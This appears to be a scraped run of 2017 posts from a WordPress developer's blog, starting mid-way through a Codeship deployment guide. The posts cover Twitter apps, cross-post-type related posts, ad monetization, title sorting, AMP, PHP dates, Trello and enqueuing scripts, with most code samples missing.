Finally you can pick [Codeship Pro or Basic](https://codeship.com/pricing) – I picked Basic because it required the least amount of know-how. Not that it’s easy, but I don’t have to configure the server or anything annoying. In fact, Basic is so basic, than you can just accept the default setup commands and go. Which is what I did.
## The Settings
Once you’ve done all that, you’re on a new screen that tells you to push code. Of course, you can’t do that until you set up a couple more things. Like tell it *where* to push the code.
Click on “Project Settings” and go to the **General** tab. You’ll need to get that SSH key and add it to your server’s `~/.ssh/authorized_keys` to allow passwordless deployment. I strongly recommend that.
Now you can click **Deploy** and add a Deployment Pipeline. Pick ‘master’ unless you’re using something else.

Now you have to add a deployment to your pipeline. There are a lot of options here, but for my plan of an rsync, the choice is “Custom Script”. Since I’m pushing code to my DreamPress server, the rsync looks like this:
You can customize your rsync commands however you want. I like mine to delete files I’ve removed.
## Deploy the Ships
Everything is set up so go back to your project page and push some code to Github
Magic happens.
The code deploys.
Huzzah.
On the free version you only get 100 private builds and five private projects. Mine are public (so’s the Github repo for that matter) so it doesn’t matter. The only downside is only getting one push at a time, but since they take less than five minutes, it’s perfectly acceptable for a free solution.
**Categories:** How To
**Tags:** Codeship, deployment, github
---
### [Review: Twitter vs Twitter](https://halfelf.org/2017/review-twitter-vs-twitter/)
**Published:** August 11, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Some thoughts on the two twitter desktop apps I've used, and why.
**Content:**
Like most people, I use Twitter. I don’t always use the official Twitter tools for that, though. For example, I rarely use the website itself as it’s slow and annoys me. I’ve almost always used Twitter apps on my computers, too.
In July I decided to try using the official Twitter app again. I’d stopped when, at some point, they stopped working on it. Since they’ve picked it back up, I felt I should try it out. As a whole, I like it 90% but … well let me explain.
## Tweetbot
This is my normal, go-to Twitter app. I’ve used it for a couple years, and it meets nearly all my needs for a Twitter app. I can have multiple accounts, which is a must-have for me, and it separates my @-replies from my likes/retweets. I really like that. It also makes those @-replies a different color in my timeline so they stand out.
But… It only tracks likes/retweets for while the app is open. So if I log off, get a million retweets, and log back in, I’ll never know. Also it lacks some of the basic Twitter features like being able to report users and seeing if my other accounts have messages etc I need to pay attention to. I have to click to expand the other accounts to see what’s going on.
Interestingly, *all* third party apps, be it iOS or MacOS, seem to have this issue with the notifications. They just can’t keep track if you’re not logged in. I’m guessing it’s a matter of the API and limiting calls. Most annoyingly, recently Twitterific has just stopped showing me @-mentions from people I don’t follow.
## Twitter
Currently it has a brain and does everything you can do on the web. Multiple accounts, which I can see at a glance who has an alert or message, and it’s easy to switch between them. One click. I can see
Downside? Sometimes when I log back in, the Live Stream is messed up. Also the notifications and mentions and replies are all jumbled up, in the worst ways. I can’t just see replies or likes or mentions. There’s no indication that a message IS a mention in my main-timeline. And the alerts that tell me I have an unread are for notifications and mentions combined.
That I can’t easily find my mentions, which I want to reply to, sucks.
## So Which Wins?
Right now, Twitter’s app is winning for the simple reason of easy user status, easy user switching, and actually being able to see all my likes/retweets. Which is important in some cases. It certainly sucks that I can’t easily identify my replies, and I can’t separate mentions from notifications like I can in the web-app, but the reliability of the API is (currently) worth it.
**Categories:** How It Is
**Tags:** app, apple, macos, twitter
---
### [Demi Related Post Types](https://halfelf.org/2017/demi-related-post-types/)
**Published:** August 9, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Related posts and custom posts, based on tags.
**Content:**
In my last post, I talked about relating posts to a custom post type. That is, how I listed the blog posts tagged with a show on the show page. Let’s do the reverse!
## Continuing the Click Hole
While we’re very good about remembering to tag the posts we write with the shows they’re about, we’re not always as good with remembering to link the first instance of the show name to the show. That is, when we write about *Supergirl* we sometimes forget to link that to the page for her.
That said, we still want to make it ‘easy’ for people to figure out where they can read more about the show. The ‘simplest’ way to do that would be to have a block at the bottom of each blog post. “Want to know more about the shows in this post?” or something along those lines.
## Relations Back Across Post Types
The difficulty here is that if you want to get post data based on a post name, it’s easy. There’s a handy little function `get_page_by_title()` where you can put in this: `get_page_by_title( 'Supergirl', OBJECT, 'post_type_shows' );` where Supergirl is the name of the show and `post_type_shows` is the post type.
That’s well and good, but I knew there would be cases where the tag wasn’t going to match the name. People name shows pretty weird stuff (`#hastag` for example is the name of a show). Instead, I knew that I needed the tag *slug* and for that, I needed a different function: `get_page_by_path()`
## The Code
Here’s the magic sauce:
This has a few failsafes in there, like it only runs on single posts, it has to have at least one tag, and it has to have at least one tag that’s a show. Whew.
After that, it’s just the CSS.
**Categories:** How To
**Tags:** code, custom post types, wordpress
---
### [Semi Related Posts](https://halfelf.org/2017/semi-related-posts/)
**Published:** August 7, 2017
**Author:** Ipstenu (Mika Epstein)
**Content:**
Once in a while you write some code that you’re pretty sure will never be useful to anyone else on the planet, but the idea is cool, so you want to share it.
Hence this post.
## The Power Of Relations
I was making coffee one Sunday morning, thinking about how I could keep turning a site into a wiki-level click hole, where a person could get lost for hours and days reading article after article. The reason WikiPedia works so well is that the content is all interlinked. Now, if you’ve never been a wiki editor, and you’ve just noticed that there are a billion links on every page, taking you around the universe, I’ll let you in on a secret. Those links are all human-made. A person goes in and makes those links, giving you ‘related’ posts.
But WikiPedia really only works well due to the massive amounts of people who know weird shit and are willing to help and share. When it’s just you and your crazy friend running a site, that’s a lot of work. And you have wives and pets and kids to take care of. No, you want– you *need* to automate the heck out of this stuff.
## Related Posts are Hard
Making related posts is a hard thing. There are myriad algorithms out there to calculate ‘relatedness’ and they’re all crazy complex. Worse, they all require a *lot* of processing power. There’s a reason Jetpack’s related posts feature runs on their servers. They’ve got more power than you do, and it stops people on shared from being nasty neighbors.
This code is not a replacement for that code. This code is very specific and very targeted. It relies on people being clever (but not too clever). But when it works, it makes the interwoven data sets of a site work well. Because you see, we’re not talking about ‘If you like this article, read this other one…’ No. No we’re talking about crossing custom post types.
## Relations Across Post Types
Hold on. I know what you’re thinking.
The point of separate post types is *not* to cross the streams. Yes, I know. But that’s actually not true. Menus, for example, are a post type, and you a great many people want to have specific menus to their post types. That sounds logical, doesn’t it? Well, in this case, I have a post type for TV Shows, and I have regular old blog posts.
My lightbulb moment was three-fold:
1. When we write articles about the TV Shows, we logically use tags of the show name.
2. Those show name tags match the slugs of the TV shows.
3. If we link back to the articles from the TV Show page, then we’re getting people down the click hole.
This meant my logic was simple: On the TV show page, check if there are any blog posts tagged with the show name and, if so, that post was ‘related’ to the show and therefore we should link back to it.
## The Code
I put all this into a function so I could re-use it in a couple places. I like not repeating myself with code. I also have the function call another function, because I actually re-use this to connect different post types that all use the same tags. If you don’t need that, you can tighten it up.
### The Display
This is in the theme:
### The Functions
And here’s the function it calls:
And here’s the function *that* calls:
## The Result?
An unordered list of the last five related posts. You could add a link to ‘show more’ if you were so included.
**Categories:** How To
**Tags:** coding, development, wordpress
---
### [The Monetization of Edge Sites](https://halfelf.org/2017/monetization-edge-sites/)
**Published:** August 4, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** The headaches of pains of when you're not able to use Google Ads, but you still want to monetize your sites...
**Content:**
When you’re starting out, the idea of making some passive income on your website is pretty appealing. So you look at services like Google Adsense or Project Wonderful, and you think that’s it. Sign up, toss some ads up, and you’ll make $.50 a month (yes, that’s fifty cents). For most people, that works quite well. But what happens when you’re not ‘most’ people?
## What Is an “Edge” Site?
An edge site is a site that has a very niche audience. For example, 10 years ago, WordPress would have been a very niche subject and thus an ‘edge’ site if you were trying to get advertising. But if you said “It’s a technology blog” then you’d have a broader set of possible advertisers.
Paradoxically, niche sites do better in Google search results, which makes them better traffic but harder to target. However, that’s not what an edge site *really* is. An edge site is a site that has content on the edge of what the various ad hosts would be comfortable allowing. And if they’re not comfortable, then they’ll close your account even if it’s just one of your domains that they don’t like.
## What Makes It Questionable Content?
Have you ever read those terms of service? The ones you agree to when you sign up for ad companies? Of course not. But you kind of get the gist of what they’re on about. Basically they don’t want anything offensive on their networks, like promoting racism or bigotry. And there’s *always* a clause in there about “pornographic or sexually explicit material” — to whit, don’t have it.
But what you may not realize is that sexually explicit also covers talking about sex. No, I don’t mean the erotica kind of content, I mean if I use Google Ads, I can’t have a website that gives you advice on sexual dysphoria, or even sexual health issues.
## How Do You Know if You’re Edge?
You don’t.
I found out because Google AdSense decided that a picture of two women in a bubble bath (which was a promo picture for a TV show) was too much. They cited it as being ‘adult’ and there was no further information as to if it was actually the image or if it was the post content. Yes, you read that correctly. They just said “This page is naughty!” and didn’t give me a chance to figure out what or why or how, except to experiment.
Oh and if you experiment and get it wrong, you run the risk of losing the whole AdSense account, not just that one domain. Have a nice day.
Google effectively doesn’t care about you. There’s no way to email someone and say “Hey, is the problem this one image or the subject matter of my site, which you approved 2 years ago?”
## What Are The Options?
Now that I’ve scared you a bit, your choices boil down to:
1. Find a lenient service
2. Host ads yourself
3. Rely on affiliate links
They do really suck.
### Services
The biggest issue with the services is that unless there’s a human-contact available, there’s very little you can do if you ‘break’ guidelines by being on that edge. I mentioned Google as the worst (if you have less than 500k page views a month, you’re outta luck), but Amazon’s not really much better unless you like auto-replies and stock answers. In my experience, the best people behind ads are Project Wonderful, but the quality of ads can be a bit low.
### Self-Host
Even though I run my own, self-hosted, WordPress site, I loathe the idea of a self-hosted ad service. You can do it via WordPress plugins, but if you’re thinking they all look a bit janky, you’re right. They do. They’re all clunky in my eyes. Revive (formerly OpenX Source) is the nicest, but they’re not very fast and you have to maintain them. Which is an extra burden. And then it’s the damn hustle to get ads and manage them.
### Affiliates
Lastly you have affiliates. Now they’re a curious mix of the most lenient, whereby I mean some like ShareASale will let you do anything but ‘adult’ and hate sites, and others like Amazon are super super picky. In both cases, though, they let affiliates approve you as an individual, so there’s that.
## Conclusion?
If you want ‘easy’ money and you’re an edge or niche site that is *possibly* on that inane ‘family friendly’ bubble, you’re going to need to go with Project Wonderful. At least until you get big enough for BuySellAds to pick you up. Otherwise it’s a hustle to get the attention.
Or you could try selling things…
**Categories:** How It Is
**Tags:** monetization
---
### [Stopwords and Sort Queries](https://halfelf.org/2017/stopwords-sort-queries/)
**Published:** August 2, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Rejiggering the sort order to ignore specific stop words.
**Content:**
The code I use is part and parcel from a comment [Pascal Birchler made in 2015](https://css-tricks.com/ignoring-the-in-wordpress-queries/#comment-1594211) and [Birgir E. riffed on in 2016](https://wordpress.stackexchange.com/a/216944). I made one small change.
## The Problem
People like to name TV shows with ‘The’ or ‘A’ or ‘An’ as the first word. “The Fall” and “The Good Wife” for example. However, when we order such things in a human sensible way, “A Touch of Cloth” should be listed behind both of those.
- Frankenstein
- The Fall
- Grey’s Anatomy
- The Good Wife
- A Touch of Cloth
WordPress, though, sees them as absolutes and you get this:
- A Touch of Cloth
- Frankenstein
- Grey’s Anatomy
- The Fall
- The Good Wife
Not quite right, is it?
## The Fix
This code does two things.
The first part is the filter on the `posts_orderby` function. That checks if the post type is the one I want to filter (in my case, only shows), and if so, use regex to filter out my stop words of ‘the ‘, ‘an ‘, and ‘a ‘. The extra space in each word is important. I want to reorder “The Fall” and not “Then They Fall” after all!
The second part is the actual filter on the title, to mess with it *only* for the ordering of posts.
If you’re using MariaDB, this can be even easier, but I have to test on my dev site, which uses MySQL.
**Categories:** How To
**Tags:** search, sql, wordpress
---
### [The Passion of Change, Part 2](https://halfelf.org/2017/passion-change-part-2/)
**Published:** July 28, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Part Two: How we get it done and what we use to do it.
**Content:**
This is part 2 of [The Passion of Change](https://halfelf.org/2017/passion-change-part-1/). Last time I talked about some theory and decision to make about why to do this with WordPress. Now let’s talk about how it’s done.
## Collecting Data
There’s no way around this. To collect data that’s … well … never been collected in one place before, you have to sit down and do the work. And it’s hard. This is why companies hire interns, but really you need a researcher who is an expert in the field. And you have to guess and what data is going to be important. Do you just want names and shows, or do you want death days, actors, and cliches and tropes? Decide on your datapoints, but collect more than you need. Trust me on that one. Backfilling dates for 1000 posts wasn’t fun.
The trick with WordPress is understanding how to organize your data. With Hugo, there’s the basic concept of “everything is a post” and really that’s what WordPress does too. Everything is a post TYPE. By making a custom post type for your data, you can have it listed and organized how you want. We opted for a type for shows and characters, with post meta to store the complex and unique data and taxonomies for the common and shared.
## Display The Data
Part of displaying your data properly is to do so in a way that is conducive to your SEO. Yeah I said a dirty word. CMB2 lets you add in post meta easily. Yoast SEO lets you add that information to your meta data. AMP makes it better to read on mobile, and FacetWP makes it dynamically sortable. And the Rest API? Well that makes it *easily* consumable. Anywhere.
To make it easy to enter and maintain the data, we use CMB2. You can also use PODS or ACF to do this, and really it’s its own post. But the point here is you need to go back to that data you collected and figure out how it needs to be presented. While you could code it all by hand, I strongly recommend a plugin that will let you add in these fields more easily. You need to make sure you data can repeat what needs to be repeated.
### SEO
And the best part here is that if you have good data and you’ve entered it in a smart way, it will lead to good SEO by doing things like this:
With Yoast SEO in conjunction with CMB2 I was able to auto-populate a unique and yet repeated description for my meta desc in all my posts. The goal here is to optimize smartly. You want your research to be found, so you need to make it easily finable for the right search queries.
### Mobile: AMP
I use Automattic’s AMP plugin combined with Yoast’s AMP Glue plugin for mobile optimizations. By default it only adds posts as AMP data. I built out custom templates for my CPTs to allow those to show up as AMP pages as well. I did this because I wanted the data to be accessible in more ways than just normal WP pages. Democratizing consumability means being flexible about your displays. Get the data out there clearly.
## Don’t Predict Paths
Putting the data out there in easy to find ways is step one. When you have lists of data, you also need to make them sortable. FacetWP is a tool for advanced filtering. It lets you sort and resort your data, so if you wanted a list of blue eyed, left handed, centipede groomers, and you had all that data stored, you could find it. It’s a little tricky sometimes to build out your facets the way you want, but they let you refine searches and drill down so you can find everything in the way the users want. The goal, and FacetWP meets it, is to make finding the data people want easier.
But… There’s another path to consider. The REST API.
This is hands down my favorite part of the whole thing. It’s great we have all this data we collected, and we can show it in myriad ways. We can get stats to show you trendlines and averages and percentages. But… How do we get the data back out there so other people can consume it? What if you wanted to take the data to make stats we didn’t? This is all done via the Rest API.
## JSON: It Gets The Job Done
The Rest API made it EASY for me to export all this data into a format anyone could take and expand on. I made them simple, with just names and dates, and complex with everything I could think of. And by doing so, other people DID start to grab the data and use it to construct their own narratives and find their own answers.
It also let me make a plugin!
The irony of using a Rest API to power a plugin that lists dead female queers is not lost on me, by the way. I built out a JSON powered plugin that calls the data and uses it to output the data in widgets or shortcodes. It’s possibly the most simple and basic way you can do anything with this, but it demonstrates the extendability. It’s fast, it’s low load for my site which is always good, and it’s easy for me to update.
All that work that went into the plugin, with the JSON API, was transformed into an Amazon Alexa skill, where you can ask it “Hey Alexa, ask Bury Your Queers who died on March 3rd” and your Echo or Dot will reply. At it’s heart, it seems silly and trivial. The more I worked on the code, though, the more I realized how you could extend this to share more data. Trivia and minutia are small beans, but they’re the beans we REMEMBER. And what we remember is what changes the world.
## Open Data – Sharing Passion Enhances Everything
Hopefully the story you got from all this is that with WordPress you can share your passion for … well. Anything. And you can use it to fuel change. In the last 18 months, I’ve had the opportunity to talk to people world wide about how just seeing the representation and the statistics have helped them. Including TV producers. And yeah, that was weird. But more over, I’ve helped get data out there and used it to change one thing. And that is the passion that causes change.
**Categories:** How It Is
**Tags:** activism, essay, wordpress
---
### [How Mobile is AMP?](https://halfelf.org/2017/how-mobile-is-amp/)
**Published:** July 31, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Should you use AMP to power your mobile site? No. Here's what you do instead.
**Content:**
There are pros and cons of using AMP, the biggest being [Alex Kras’ discovery that Google is kinda stealing your mobile traffic with AMP](https://www.alexkras.com/google-
may-be-stealing-your-mobile-traffic/). But since [WPBeginner lays out the pros and cons really well](http://www.wpbeginner.com/wp-tutorials/how-to-properly-setup-google-amp-on-your-wordpress-site/), I’m going to skip over that and discuss something else.
## Responsive Themes
The concept of a ‘mobile only’ theme is one I generally deride. After all, if you’re on a website in 2017, it should have been written with the concept of mobile *first*. Most people design a site for their computer/browser of choice, and then add in resizes for mobile. Contrasting this is the idea that you build out your website for mobile browsers first, and then go back in and add in the larger views. That is Mobile First.
It’s an ideal, I agree, and while I love it (and Carrie Dils who made the beautiful [Utility Pro Theme](http://www.shareasale.com/r.cfm?b=778546&u=728549&m=61628&urllink=&afftrack=) as a mobile first them), it can’t always be achieved. Some websites are written to be ‘apps’ and they’re intended to be used as a browser app.
In general, I support the use of a responsive theme, be it mobile first or not. This kind of theme will react based on browser size, or operating system type. But a mobile ‘only’ theme? I dislike them a great deal. They create headaches with caching (ask anyone who’s had their cache catch the mobile page for everyone!) and they can be difficult to jump back from, if someone is perhaps on a tablet that can handle the ‘full’ site. They also double your work.
## AMP
[AMP is a project by Google](https://www.ampproject.org). The concept is a super light, ultra-fast mobile page for your sites. AMP is fast, it’s simple, and it’s a stripped down version of your normal site. How it works is that When Google searches your site and adds it to their big giant database, they can can see “Aha, this site has AMP! I will use it for mobile!” And then, when someone surfs to your site via a Google search, Google would notice “This user is on mobile! I will show it AMP displays!”
The downside you *might* have noticed is that the AMP pages only get called when you’re doing a Google search. That means if you go to a website on your phone, you get the mobile responsive site anyway. Which is what Paul (and I) think you *should* be doing. And right away, you might think “Hey, I should make all my mobile visitors go to AMP!” and you may come up with code like this:
That looks great, doesn’t it? It’s smart enough to check if the URL ends in ‘amp’ and, if so, not redirect. Plus it uses `?amp` which means if the page doesn’t have an AMP URL, it won’t fail an ugly 404 death.
There is, however, a **big** problem with AMP. You end up having *two* sites. [Paul Bakaus talks about the pitfalls of a separate mobile site](https://paulbakaus.com/2016/07/01/about-that-mobile-in-accelerated-mobile-pages/), and how you should keep a responsive theme for your site, and *not* use AMP for Mobile. This is not a good thing in the long run.
## A RESTful Alternative
So let’s think about this differently and not in the simple “Mobile vs Non-Mobile” way. Let’s ask ourselves the *real* questions. “What is this site doing?” and “How will people be using this site?” Because the crux of the matter is really how is the data from the site being consumed!
Recently, with the advent of the REST API, WordPress has as new way for people to eat your data. Much like I’ve talked about before, using the REST API to power an Alexa app or a plugin, the REST API can be used to power mobile apps! Yes, people are running iOS apps with the REST API. This lets you display the content however you want, even audio only, and yet power it fully with WordPress.
In a way, you’re still making two sites, the app and the theme, but… You’re not making a generic theme that fits all users. You’re making a real application that fits the specific use case.
## What’s The Answer?
Let’s break this down.
1\) Your theme should be responsive for mobile. Period.
2\) AMP is great for Google searches.
3\) The REST API can, and should power your apps.
That’s it. Three steps to amplifying your site.
Oh, and please don’t use that code I showed you. It’s sad.
**Categories:** How It Works
**Tags:** amp, mobile, wordpress
---
### [The Passion of Change, Part 1](https://halfelf.org/2017/passion-change-part-1/)
**Published:** July 26, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Part One: What is the change and why do we use WordPress?
**Content:**
One of WordPress’ big claims is that it democratizing publishing. In recent years, it’s also begun democratizing the distribution and consumption of data via the Rest API, and it’s helped push the openness of data, which can be used by anyone to make the world a little better.
Change is born of many things but it always stems from a refusal to accept the norm. When Shay died on the TV show *Chicago Fire*, many of us were angry. When Lexa died on *The 100*, we became irate. And then we organized. Multiple groups, separate, all used WordPress and social media to power our desire to show the world what was wrong and what needed to change. We took our hobby of television and made it our passion, and we let our passion start to change the television landscape.
## WordPress Enables Change
Having built many sites in many different CMS tools, ranging from Jekyll and Hugo to MediaWiki and Sharepoint, WordPress still makes it easiest to share the data in more ways than just plain old HTML. By allowing us to output our content in JSON with that API, we can create paths for people to transmute our data and display it in new ways we never dreamed of.
In the last two years, I’ve been able to take my simply hobby site from a list of information to a open API for people to get lost in like Wikipedia to an open-data resource for all people to generate dynamic results. Without data we cannot come to accurate conclusions about the world, and without OPEN data, we cannot work together to make the world better.
Taking a hobby as a vector for change didn’t happen overnight. It came with toil and hard work. It came with research of plugins and solutions. It came with hours and hours of watching TV just to come up with a reasonably accurate list of all the queer females on television, and if they were alive or dead. And with this data, we’ve been able to help news reporters and tv show writers visualize the impact on the world. We’ve started to change the world, just a little, with WordPress.
## Bury Your Queers
Just telling people “Hey, WordPress helped me power a site that publicized the information of a hitherto uncollected dataset” would be a pretty short post.
I mentioned change was born of a refusal to accept the ‘norm’ in our lives. As it happens, being a queer female on television is more dangerous than being on the Titanic. In 2014, it was reflecting the darkest aspects of ourselves. In 2015, 33 queer females died on TV. Over 40 in 2017. Trans people are being murdered in record numbers today in the real world. All of this is related to the Dead Lesbian trope, AKA Bury Your Queers.
My theory is that the more we accept death in our media, the more we accept it in reality. The media is pervasive and colors our lenses to accept normal when it’s not. There are a lot of hills to stand on and make this point, but I picked the one that reflects me the most, and the one I felt I could tackle. My hope was that it would just be the start.
## A Brief History
- December 13, 1971 – Julie Solkin / *Executive Suite*
- August 15, 1995 – Talia Winters / *Babylon 5*
- May 7, 2002 – Tara Maclay / *Buffy The Vampire Slayer*
- May 13, 2014 – Leslie Shay / *Chicago Fire*
- March 3, 2016 – Lexa / *The 100*
- June 4, 2017 – Barbara Keen / *Gotham*
It would take me a while to list all the deaths, so I’ve listed six of the more prominent deaths here. Julie was the first recorded death. Lexa set the world on fire. These deaths, out of well over 270 since 1971 by the way, shaped our perceptions. They told us it was okay to kill off the queers for shock value. But the thing is, with Lexa, last year, people lost their minds.
[](https://halfelf.org/wp-content/uploads/sites/2/2017/07/lexa-billboard.jpg)
If you were in the LA area, you may have seen some surprising billboards in 2016. There were four all told, four separate billboards crowdfunded globally via Tumblr, Twitter, Facebook, and a WordPress site. They collected the money and put the billboards up and said that WE would not stop. That wasn’t the end of it. There’s been a convention, ClexaCon, and more activism.
## Why WordPress?
One of the interesting things was we all sat down, in our various corners of the internet, and asked “How bad is this, exactly?” Sites like AutoStraddle made a straight up (heh) list of all the dead and all the happy-endings. Spoiler, very few have happy endings. Other sites, like LGBT Fans Deserve Better and LezWatchTV started to make lists of everyone we could find. And we all actually used WordPress.
There are pros and cons for every platform. There was never a doubt in Tracy’s mind that we were going to use WordPress, but I always think about pros and cons. MediaWiki is amazing when you want anyone contributing becuase it allows anonymous edits. But there was too much possibility for abuse so MediaWiki was out. Static site generators like Hugo or Jekyll are fast and secure (go on, hack my html please. Knock yourself OUT). But they’re not very flexible and can be difficult to manage with multiple contributors or non-technical ones. WordPress, though, is flexible, allows for multiple editors, processes images easily, and is incredibly extendable.
## What Next?
Obviously I haven’t even begun to touch on the code part, of how you build out the data and make it beneficial to people via tools like plugins or Amazon Alexa, and not even how you build the data so you *can* do those things.
**Categories:** How It Is
**Tags:** activism, essay, wordpress
---
### [Date, Time, and PHP](https://halfelf.org/2017/date-time-php/)
**Published:** July 24, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Some thought on handling time and space without a TARDIS.
**Content:**
I had a case where I needed to convert time from the format of the US centric dd/MM/YYYY to something a little more sane.
## A Very Bad (and Stupid) Way
Since I was starting from a set position of `18/07/2017` (for example), the first idea I had was to use `explode` to do this:
I did say this was stupid, right? The reason I’d want to do that, though, is that gets it into a DD-MM-YYYY format, which can be parsed a little more easily. Unless you’re an American. Which means this idea is useless.
## A Less Bad, But Still Bad, Way
What about making it unix timestamp?
Now I have a unix timestamp, which I can output any which way I want! At this point, if I’m not sure what version of PHP people are using, as long as it’s above 5.2, my code will work. Awesome.
But we can do better.
## A Clever Way
Instead of all that, I could use `date_parse_from_format`:
And this will convert “18/07/2017” into “18 July, 2017”
Which is far, far more understandable.
## So Which Is Best?
If it’s your own code on your own server, I’d use `date_create_from_format` to control the output as you want.
If this is code you want to run on any server, like in a WordPress plugin, use the unix timestamp, and then use [`date_i18n`](https://developer.wordpress.org/reference/functions/date_i18n/) to localize:
**Categories:** How To
**Tags:** coding, php, time
---
### [Hello Trello](https://halfelf.org/2017/hello-trello/)
**Published:** July 21, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Sometimes there isn't the answer you expect when you look for a plugin. In this case? It doesn't exist yet.
**Content:**
Organizing my life is usually done on the Apple Reminders app. I shove my to-dos in there and it alerts me when I forget about scheduled, repeated, events. Like mailing in a rent check.
But when you have a group of people, it can be trickier, especially if you all use different devices and have different workflows.
## Enter Trello
There are a lot of options out there, but Trello is free for the small scale. It’s easy to set up and my friend Tracy uses it a lot. When I realized we needed something better than my list to keep track of everything, I popped over to [Trello](https://trello.com) to make it work.
I’ve used it before, and I use Jira — which is owned by Trello’s [Atlassian](https://www.atlassian.com) — so I’m familiar with the basic style of Kanban boards for tracking work. Every project has a ‘board’ and on the board you have ‘lists.’ In each list you have your ‘tasks’ which you drag from list to list to list. The general concept is you have a list of ‘backlog’ where you store *everything*. Tasks move from there to ‘in progress’ and then to ‘done’ (or they get archived).
There are some things about the flow I find annoying. Like there isn’t a way to mark something as ‘done’ unless it’s scheduled, it just gets archived, but it can work. And you can [integrate it with Slack](http://help.trello.com/article/1049-slack-app) so that’s nifty.
## What About WordPress?
I’m going to shoot your hopes and dreams. There isn’t a WordPress plugin for Trello.
Oh fine, there’s [WP Trello](https://wordpress.org/plugins/wp-trello/) but that actually is meant to display your boards as widgets or shortcodes. For the life of me, I can’t figure out *why* anyone would want to do that. No, what I mean is there’s no back-end WordPress plugin where I can go to, say, the dashboard and check out what boards and tasks are being worked on.
I suppose that’s much the point, though. You shouldn’t be managing those things *in* WordPress. In fact, if you look into it, embedding Trello anywhere is kind of a mess. They clearly don’t want you to miss out on their API and their apps. Their experience matters.
On the other hand they’re very hip on integration, letting people stick in one tool and access everything. I suspect the brunt of the lack of a WordPress tool is due to the fact that there’s no one recommended PHP API. If you go to their [community page](https://developers.trello.com/community), you’ll see a lot of python and Ruby, but no PHP.
## What Can You Do With WordPress?
Thankfully, you can integrate WordPress and Trello. There are extensions for [Ninja Forms](https://ninjaforms.com/extensions/trello/) and [Gravity Forms](http://www.gravityforms.com/add-ons/trello/) which let you integrate your form submissions and make them into Trello Tasks. If you use those plugins to allow visitors to post submissions, it’s a near perfect idea. They submit a post, you make a to-do, and your life remains organized instead of wondering who handled which submission.
But if you’re looking for more, you need to consider a 3rd party integration via [Zapier or IFTTT](http://embolden.co/how-to-use-trello-as-a-content-calendar-for-your-wordpress-website/). There isn’t even a Jetpack contact form to Trello plugin.
Yet.
**Categories:** How It Is
**Tags:** essay, plugins, wordpress
---
### [Yes, You Can Use Enqueues](https://halfelf.org/2017/yes-can-use-enqueues/)
**Published:** July 19, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** How to enqueue inline parameters with your WordPress enqueued javascript. Because yes, you can.
**Content:**
One of the battles I face with plugins is explaining to people that they really do need to use `wp_enqueue_scripts()` for their code. And often I get an argument back that they can’t because they need to include parameters.
Hold on to your hats. You totally can.
## The Misconception
It’s easy to get confused with code. There are so many different ways to solve the same problem, we get twisted around. Let’s say that you wanted to include the following script in your website:
That’s pretty straightforward in WordPress:
But. What if you wanted to add *this* as well:
Now you clearly have to hand-code this into WordPress. Right?
Wrong!
## Use Inline Scripts!
You may have heard about `wp_add_inline_script` before. If not, don’t feel bad. What this does is [add extra, inline, code to an already enqueued script](https://developer.wordpress.org/reference/functions/wp_add_inline_script/).
Which means that to add the extra code, you do this:
Which will echo out exactly what you need.
The cool thing about this, is what if you want your plugin to have a lot of options? Like you want to use the value for an option to determine what your script should do?
And now you’ve got flexibility.
## Keep In Mind…
First, the name of the script matters. If you enqueue it as ‘my-widget’ then you call it as ‘my-widget’ as the first parameter in your inline script.
Second, you can change ‘before’ to ‘after’ if you need it to be after the script.
Third, as with all things, make sure you only load your javascript when you must. No one likes a slow site because you’re loading your javascript on every page when it only needs to be on a specific custom post type.
**Categories:** How To
**Tags:** enqueues, javascript, wordpress
---
### [Fight The Future](https://halfelf.org/2017/fight-the-future/)
**Published:** July 12, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Life in the slow lane isn't okay.
**Content:**

## Life in the Slow Lane
Imagine a world where you couldn’t read these posts because your ISP didn’t like one I made about how to download video from your DVR?
Imagine an internet where a site like [LezWatch TV](https://lezwatchtv.com) was blocked because someone was homophobic?
That’s what could happen.
Americans, please [contact your representatives now](https://www.battleforthenet.com). Non Americans? Social media please and thank you.
## Still not sure about this?
**Categories:** How It Is
**Tags:** oped, protest
---
### [Git Attributes: Control Your Vendor Folders](https://halfelf.org/2017/git-attributes/)
**Published:** July 17, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** A simple way to hide your vendor folders from everyone on Git and Github.
**Content:**
When you’re developing code, a lot of the time you have `vendor` or `bower_component` folders that you don’t need. That is, you don’t need them for the code, but you do for the development.
A year ago I explained how I [handle my vendor folders](https://halfelf.org/2016/resource-folders/). Essentially, I use SVN to ignore things so they don’t get uploaded to WordPress. And that’s great *but*…
What about Git?
## Enter Git Attributes
The `.gitattributes` file lets you [define attributes for paths](https://git-scm.com/docs/gitattributes). What that means is you can assign an attribute to a file which will then impact how various Git operations occur.
Operations are things like checking your code out or pushing a release (something familiar to Githubbers). Basically an operation is when Git does a ‘thing.’ Whatever that thing will be. And the Attributes file allows you to specify what happens to specific files (or folders) when that thing happens.
## How Do You Use It?
There’s a lot more to it than this, but if your goal is to exclude vendor folders and `.git` files from your zips to send them off to people, then you’ll want to have your `.gitattributes` file look like this:
This results in when you use GitHub and tell someone to download the zip from it, it will *exclude* those files.
## What Else Can I Do With It?
Have a problem with line endings because one person on your dev team uses Windows? [gitattributes can help](https://help.github.com/articles/dealing-with-line-endings/#example).
Need to make a change like that for everyone on a system? Or maybe you want to make sure you never include those vendor and documentation folders? The [Pro Git Book says this](http://git-scm.com/docs/gitattributes):
> Attributes for all users on a system should be placed in the `$(prefix)/etc/gitattributes` file.
Before you ask, unless you changed it, `$(prefix)` is nothing for pretty much everyone. You may have a `/usr/local/git/etc/` location though.
**Categories:** How To
**Tags:** development, git
---
### [The Unbearable Uniqueness of Functions](https://halfelf.org/2017/unbearable-uniqueness-functions/)
**Published:** July 14, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Thinking about the reasons we need unique and distinct names in our code.
**Content:**
